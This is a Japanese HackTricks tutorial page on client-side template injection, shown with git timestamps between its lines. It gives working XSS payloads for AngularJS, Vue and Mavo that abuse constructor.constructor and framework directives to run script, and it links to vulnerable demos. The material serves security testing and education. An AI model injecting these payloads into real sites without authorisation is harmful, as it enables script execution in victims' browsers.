2024-07-19 16:28:25 +00:00
# クライアントサイドテンプレートインジェクション (CSTI)
2024-05-05 23:08:22 +00:00
2024-07-19 16:28:25 +00:00
{% hint style="success" %}
AWSハッキングを学び、実践する: < img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCPハッキングを学び、実践する: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 16:28:25 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 16:28:25 +00:00
< summary > HackTricksをサポートする< / summary >
2022-04-28 16:01:33 +00:00
2024-07-19 16:28:25 +00:00
* [**サブスクリプションプラン** ](https://github.com/sponsors/carlospolop )を確認してください!
* **💬 [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**をフォローしてください。**
2024-09-04 13:37:26 +00:00
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 16:28:25 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-05-05 23:08:22 +00:00
## 概要
2020-07-15 15:43:14 +00:00
2024-09-04 13:37:26 +00:00
これは[**サーバーサイドテンプレートインジェクション**](ssti-server-side-template-injection/)のようなもので、**クライアント**側で発生します。**SSTI**はリモートサーバー上で**コードを実行**することを可能にしますが、**CSTI**は被害者のブラウザで**任意のJavaScript**コードを**実行**することを可能にします。
2020-07-15 15:43:14 +00:00
2024-07-19 16:28:25 +00:00
この脆弱性の**テスト**は、**SSTI**の場合と非常に**似ています**。インタープリターは**テンプレート**を期待し、それを実行します。例えば、`{{ 7-7 }}`のようなペイロードを使用した場合、アプリが**脆弱**であれば`0`が表示され、そうでなければ元の`{{ 7-7 }}`が表示されます。
2020-07-15 15:43:14 +00:00
2024-05-05 23:08:22 +00:00
## AngularJS
2020-07-15 15:43:14 +00:00
2024-09-04 13:37:26 +00:00
AngularJSは、ディレクティブとして知られる属性を介してHTMLと対話する広く使用されているJavaScriptフレームワークであり、特に**`ng-app`**が注目されます。このディレクティブはAngularJSがHTMLコンテンツを処理し、二重波括弧内でJavaScript式を実行できるようにします。
2020-07-15 15:43:14 +00:00
2024-07-19 16:28:25 +00:00
ユーザー入力が`ng-app`でタグ付けされたHTMLボディに動的に挿入されるシナリオでは、任意のJavaScriptコードを実行することが可能です。これは、入力内でAngularJSの構文を利用することで実現できます。以下は、JavaScriptコードがどのように実行されるかを示す例です:
2020-07-15 15:43:14 +00:00
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
2021-06-29 12:49:13 +00:00
< input ng-focus = $event.view.alert('XSS') >
2020-07-15 15:43:14 +00:00
<!-- Google Research - AngularJS -->
< div ng-app ng-csp > < textarea autofocus ng-focus = "d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'" > < / textarea > < / div >
```
2024-07-19 16:28:25 +00:00
あなたは**AngularJS**の脆弱性の非常に**基本的なオンライン例**を[http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)と[**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)で見つけることができます。
2020-07-15 15:43:14 +00:00
2021-06-29 12:49:13 +00:00
{% hint style="danger" %}
2024-07-19 16:28:25 +00:00
[**Angular 1.6はサンドボックスを削除しました** ](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html )ので、このバージョンからは`{{constructor.constructor('alert(1)')()}}`や`< input ng-focus = $event.view.alert('XSS') > `のようなペイロードが機能するはずです。
2021-06-29 12:49:13 +00:00
{% endhint %}
2024-05-05 23:08:22 +00:00
## VueJS
2020-07-15 15:43:14 +00:00
2024-07-19 16:28:25 +00:00
**脆弱なVue**の実装は[https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)で見つけることができます。\
動作するペイロード: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%` ](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\ )%27\)\(\)%7D%7D)
2020-07-15 15:43:14 +00:00
2024-07-19 16:28:25 +00:00
そして、脆弱な例の**ソースコード**はこちら: [https://github.com/azu/vue-client-side-template-injection-example ](https://github.com/azu/vue-client-side-template-injection-example )
2020-07-15 15:43:14 +00:00
```markup
<!-- Google Research - Vue.js -->
">< div v-html = "''.constructor.constructor('d=document;d.location.hash.match( \'x1 \') ? `` : d.location=`//localhost/mH`')()" > aaa</ div >
```
2024-07-19 16:28:25 +00:00
CSTIに関する非常に良い投稿は、[https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) で見つけることができます。
2024-02-06 04:13:43 +00:00
2024-07-19 16:28:25 +00:00
### **V3**
2021-10-18 11:21:18 +00:00
```
2021-02-25 11:39:28 +00:00
{{_openBlock.constructor('alert(1)')()}}
```
2024-07-19 16:28:25 +00:00
クレジット: [Gareth Heyes, Lewis Ardern & PwnFunction ](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets )
2024-04-18 03:40:36 +00:00
2024-05-05 23:08:22 +00:00
### **V2**
2021-10-18 11:21:18 +00:00
```
2021-02-25 11:39:28 +00:00
{{constructor.constructor('alert(1)')()}}
```
2024-07-19 16:28:25 +00:00
クレジット: [マリオ・ハイダーリッヒ ](https://twitter.com/cure53berlin )
2021-02-25 11:39:28 +00:00
2024-07-19 16:28:25 +00:00
**他のVUEペイロードを確認するには** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected** ](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected )
2021-11-22 11:32:00 +00:00
2024-07-19 16:28:25 +00:00
## マヴォ
2020-07-15 15:43:14 +00:00
2024-07-19 16:28:25 +00:00
ペイロード:
2021-10-18 11:21:18 +00:00
```
2021-06-25 16:39:43 +00:00
[7*7]
[(1,alert)(1)]
< div mv-expressions = "{{ }}" > {{top.alert(1)}}< / div >
2020-07-15 15:43:14 +00:00
[self.alert(1)]
2021-02-25 11:39:28 +00:00
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
2021-06-25 16:39:43 +00:00
[''=''or self.alert(lol)]
< a data-mv-if = '1 or self.alert(1)' > test< / a >
< div data-mv-expressions = "lolx lolx" > lolxself.alert('lol')lolx< / div >
< a href = [javascript&':alert(1)'] > test< / a >
[self.alert(1)mod1]
2020-07-15 15:43:14 +00:00
```
2024-07-19 16:28:25 +00:00
**More payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations** ](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations )
2020-07-15 15:43:14 +00:00
2024-05-05 23:08:22 +00:00
## **ブルートフォース検出リスト**
2021-06-27 21:56:13 +00:00
2021-10-18 11:21:18 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
2022-04-28 16:01:33 +00:00
2024-04-18 03:40:36 +00:00
2022-04-28 16:01:33 +00:00
2024-07-19 16:28:25 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 16:28:25 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 16:28:25 +00:00
< summary > Support HackTricks< / summary >
2022-04-28 16:01:33 +00:00
2024-07-19 16:28:25 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 16:28:25 +00:00
{% endhint %}